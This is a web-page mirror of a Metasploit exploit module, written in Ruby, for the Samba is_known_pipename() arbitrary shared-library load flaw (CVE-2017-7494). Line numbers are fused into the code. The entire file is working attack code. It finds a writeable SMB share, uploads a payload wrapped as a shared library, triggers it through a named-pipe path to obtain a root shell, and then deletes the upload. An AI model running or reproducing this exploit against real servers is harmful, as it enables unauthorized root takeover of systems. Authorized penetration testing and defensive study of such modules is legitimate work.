CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
Path: blob/master/modules/exploits/linux/samba/is_known_pipename.rb
Views: 1904
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client1011def initialize(info = {})12super(update_info(info,13'Name' => 'Samba is_known_pipename() Arbitrary Module Load',14'Description' => %q{15This module triggers an arbitrary shared library load vulnerability16in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module17requires valid credentials, a writeable folder in an accessible share,18and knowledge of the server-side path of the writeable folder. In19some cases, anonymous access combined with common filesystem locations20can be used to automatically exploit this vulnerability.21},22'Author' =>23[24'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery & Python Exploit25'hdm', # Metasploit Module26'bcoles', # Check logic27],28'License' => MSF_LICENSE,29'References' =>30[31[ 'CVE', '2017-7494' ],32[ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],33],34'Payload' =>35{36'Space' => 9000,37'DisableNops' => true38},39'Platform' => 'linux',40'Targets' =>41[4243[ 'Automatic (Interact)',44{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'Interact' => true,45'Payload' => {46'Compat' => {47'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find'48}49}50}51],52[ 'Automatic (Command)',53{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }54],55[ 'Linux x86', { 'Arch' => ARCH_X86 } ],56[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],57[ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],58[ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ],59[ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ],60[ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ],61[ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ],62[ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ],63[ 'Linux PPC', { 'Arch' => ARCH_PPC } ],64[ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ],65[ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],66[ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ],67[ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ],68[ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ],69],70'DefaultOptions' =>71{72'DCERPC::fake_bind_multi' => false,73'SHELL' => '/bin/sh',74},75'Privileged' => true,76'DisclosureDate' => '2017-03-24',77'DefaultTarget' => 0))7879register_options(80[81OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),82OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),83])8485end8687def post_auth?88true89end9091# Setup our mapping of Metasploit architectures to gcc architectures92def setup93super94@@payload_arch_mappings = {95ARCH_X86 => [ 'x86' ],96ARCH_X64 => [ 'x86_64' ],97ARCH_MIPS => [ 'mips' ],98ARCH_MIPSLE => [ 'mipsel' ],99ARCH_MIPSBE => [ 'mips' ],100ARCH_MIPS64 => [ 'mips64' ],101ARCH_MIPS64LE => [ 'mips64el' ],102ARCH_PPC => [ 'powerpc' ],103ARCH_PPC64 => [ 'powerpc64' ],104ARCH_PPC64LE => [ 'powerpc64le' ],105ARCH_SPARC => [ 'sparc' ],106ARCH_SPARC64 => [ 'sparc64' ],107ARCH_ARMLE => [ 'armel', 'armhf' ],108ARCH_AARCH64 => [ 'aarch64' ],109ARCH_ZARCH => [ 's390x' ],110}111112# Architectures we don't offically support but can shell anyways with interact113@@payload_arch_bonus = %W{114mips64el sparc64 s390x115}116117# General platforms (OS + C library)118@@payload_platforms = %W{119linux-glibc120}121end122123# List all top-level directories within a given share124def enumerate_directories(share)125begin126vprint_status('Use Rex client (SMB1 only) to enumerate directories, since it is not compatible with RubySMB client')127connect(versions: [1])128smb_login129self.simple.connect("\\\\#{rhost}\\#{share}")130stuff = self.simple.client.find_first("\\*")131directories = [""]132stuff.each_pair do |entry,entry_attr|133next if %W{. ..}.include?(entry)134next unless entry_attr['type'] == 'D'135directories << entry136end137138return directories139140rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e141vprint_error("Enum #{share}: #{e}")142return nil143144ensure145simple.disconnect("\\\\#{rhost}\\#{share}")146smb_connect147end148end149150# Determine whether a directory in a share is writeable151def verify_writeable_directory(share, directory="")152begin153simple.connect("\\\\#{rhost}\\#{share}")154155random_filename = Rex::Text.rand_text_alpha(5)+".txt"156filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"157158wfd = simple.open(filename, 'rwct')159wfd << Rex::Text.rand_text_alpha(8)160wfd.close161162simple.delete(filename)163return true164165rescue ::Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => e166vprint_error("Write #{share}#{filename}: #{e}")167return false168169ensure170simple.disconnect("\\\\#{rhost}\\#{share}")171end172end173174# Call NetShareGetInfo to retrieve the server-side path175def find_share_path176share_info = smb_netsharegetinfo(@share)177share_info[:path].gsub("\\", "/").sub(/^.*:/, '')178end179180# Crawl top-level directories and test for writeable181def find_writeable_path(share)182subdirs = enumerate_directories(share)183return unless subdirs184185if datastore['SMB_FOLDER'].to_s.length > 0186subdirs.unshift(datastore['SMB_FOLDER'])187end188189subdirs.each do |subdir|190next unless verify_writeable_directory(share, subdir)191return subdir192end193194nil195end196197# Locate a writeable directory across identified shares198def find_writeable_share_path199@path = nil200share_info = smb_netshareenumall201if datastore['SMB_SHARE_NAME'].to_s.length > 0202share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']203end204205share_info.each do |share|206next if share.first.upcase == 'IPC$'207found = find_writeable_path(share.first)208next unless found209@share = share.first210@path = found211break212end213end214215# Locate a writeable share216def find_writeable217find_writeable_share_path218unless @share && @path219print_error("No suitable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")220fail_with(Failure::NoTarget, "No matching target")221end222print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")223end224225# Store the wrapped payload into the writeable share226def upload_payload(wrapped_payload)227begin228self.simple.connect("\\\\#{rhost}\\#{@share}")229230random_filename = Rex::Text.rand_text_alpha(8)+".so"231filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"232233wfd = simple.open(filename, 'rwct')234wfd << wrapped_payload235wfd.close236237@payload_name = random_filename238239rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e240print_error("Write #{@share}#{filename}: #{e}")241return false242243ensure244simple.disconnect("\\\\#{rhost}\\#{@share}")245end246247print_status("Uploaded payload to \\\\#{rhost}\\#{@share}#{filename}")248return true249end250251# Try both pipe open formats in order to load the uploaded shared library252def trigger_payload253254target = [@share_path, @path, @payload_name].join("/").gsub(/\/+/, '/')255[256"\\\\PIPE\\" + target,257target258].each do |tpath|259260print_status("Loading the payload from server-side path #{target} using #{tpath}...")261262smb_connect263264# Try to execute the shared library from the share265begin266simple.client.create_pipe(tpath)267probe_module_path(tpath)268269rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError270# Common errors we can safely ignore271272rescue Rex::Proto::SMB::Exceptions::ErrorCode => e273# Look for STATUS_OBJECT_PATH_INVALID indicating our interact payload loaded274if e.error_code == 0xc0000039275pwn276return true277else278print_error(" >> Failed to load #{e.error_name}")279end280rescue RubySMB::Error::UnexpectedStatusCode, RubySMB::Error::InvalidPacket => e281if e.status_code == ::WindowsError::NTStatus::STATUS_OBJECT_PATH_INVALID282pwn283return true284else285print_error(" >> Failed to load #{e.status_code.name}")286end287end288289disconnect290291end292293false294end295296def pwn297print_good("Probe response indicates the interactive payload was loaded...")298smb_shell = self.sock299self.sock = nil300remove_socket(sock)301handler(smb_shell)302end303304# Use fancy payload wrappers to make exploitation a joyously lazy exercise305def cycle_possible_payloads306template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-7494")307template_list = []308template_type = nil309template_arch = nil310311# Handle the generic command types first312if target.arch.include?(ARCH_CMD)313template_type = target['Interact'] ? 'findsock' : 'system'314315all_architectures = @@payload_arch_mappings.values.flatten.uniq316317# Include our bonus architectures for the interact payload318if target['Interact']319@@payload_arch_bonus.each do |t_arch|320all_architectures << t_arch321end322end323324# Prioritize the most common architectures first325%W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch|326template_list << all_architectures.delete(t_arch)327end328329# Queue up the rest for later330all_architectures.each do |t_arch|331template_list << t_arch332end333334# Handle the specific architecture targets next335else336template_type = 'shellcode'337target.arch.each do |t_name|338@@payload_arch_mappings[t_name].each do |t_arch|339template_list << t_arch340end341end342end343344# Remove any duplicates that mau have snuck in345template_list.uniq!346347# Cycle through each top-level platform we know about348@@payload_platforms.each do |t_plat|349350# Cycle through each template and yield351template_list.each do |t_arch|352353354wrapper_path = ::File.join(template_base, "samba-root-#{template_type}-#{t_plat}-#{t_arch}.so.gz")355next unless ::File.exist?(wrapper_path)356357data = ''358::File.open(wrapper_path, "rb") do |fd|359data = Rex::Text.ungzip(fd.read)360end361362pidx = data.index('PAYLOAD')363if pidx364data[pidx, payload.encoded.length] = payload.encoded365end366367vprint_status("Using payload wrapper 'samba-root-#{template_type}-#{t_arch}'...")368yield(data)369end370end371end372373# Verify that the payload settings make sense374def sanity_check375if target['Interact'] && datastore['PAYLOAD'] != "cmd/unix/interact"376print_error("Error: The interactive target is chosen (0) but PAYLOAD is not set to cmd/unix/interact")377print_error(" Please set PAYLOAD to cmd/unix/interact and try this again")378print_error("")379fail_with(Failure::NoTarget, "Invalid payload chosen for the interactive target")380end381382if ! target['Interact'] && datastore['PAYLOAD'] == "cmd/unix/interact"383print_error("Error: A non-interactive target is chosen but PAYLOAD is set to cmd/unix/interact")384print_error(" Please set a valid PAYLOAD and try this again")385print_error("")386fail_with(Failure::NoTarget, "Invalid payload chosen for the non-interactive target")387end388end389390# Shorthand for connect and login391def smb_connect392connect393smb_login394end395396# Start the shell train397def exploit398# Validate settings399sanity_check400401# Setup SMB402smb_connect403404# Find a writeable share405find_writeable406407# Retrieve the server-side path of the share like a boss408print_status("Retrieving the remote path of the share '#{@share}'")409@share_path = find_share_path410print_status("Share '#{@share}' has server-side path '#{@share_path}")411412# Disconnect413disconnect414415# Create wrappers for each potential architecture416cycle_possible_payloads do |wrapped_payload|417418# Connect, upload the shared library payload, disconnect419smb_connect420upload_payload(wrapped_payload)421disconnect422423# Trigger the payload424early = trigger_payload425426# Cleanup the payload427begin428smb_connect429simple.connect("\\\\#{rhost}\\#{@share}")430uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"431simple.delete(uploaded_path)432disconnect433rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError434end435436# Bail early if our interact payload loaded437return if early438end439end440441# A version-based vulnerability check for Samba442def check443res = smb_fingerprint444445unless res['native_lm'] =~ /Samba ([\d\.]+)/446print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")447return CheckCode::Safe448end449450samba_version = Rex::Version.new($1.gsub(/\.$/, ''))451452vprint_status("Samba version identified as #{samba_version.to_s}")453454if samba_version < Rex::Version.new('3.5.0')455return CheckCode::Safe456end457458# Patched in 4.4.14459if samba_version < Rex::Version.new('4.5.0') &&460samba_version >= Rex::Version.new('4.4.14')461return CheckCode::Safe462end463464# Patched in 4.5.10465if samba_version > Rex::Version.new('4.5.0') &&466samba_version < Rex::Version.new('4.6.0') &&467samba_version >= Rex::Version.new('4.5.10')468return CheckCode::Safe469end470471# Patched in 4.6.4472if samba_version >= Rex::Version.new('4.6.4')473return CheckCode::Safe474end475476smb_connect477find_writeable_share_path478disconnect479480if @share.to_s.length == 0481print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified")482return CheckCode::Detected483end484485print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'")486return CheckCode::Appears487end488end489490491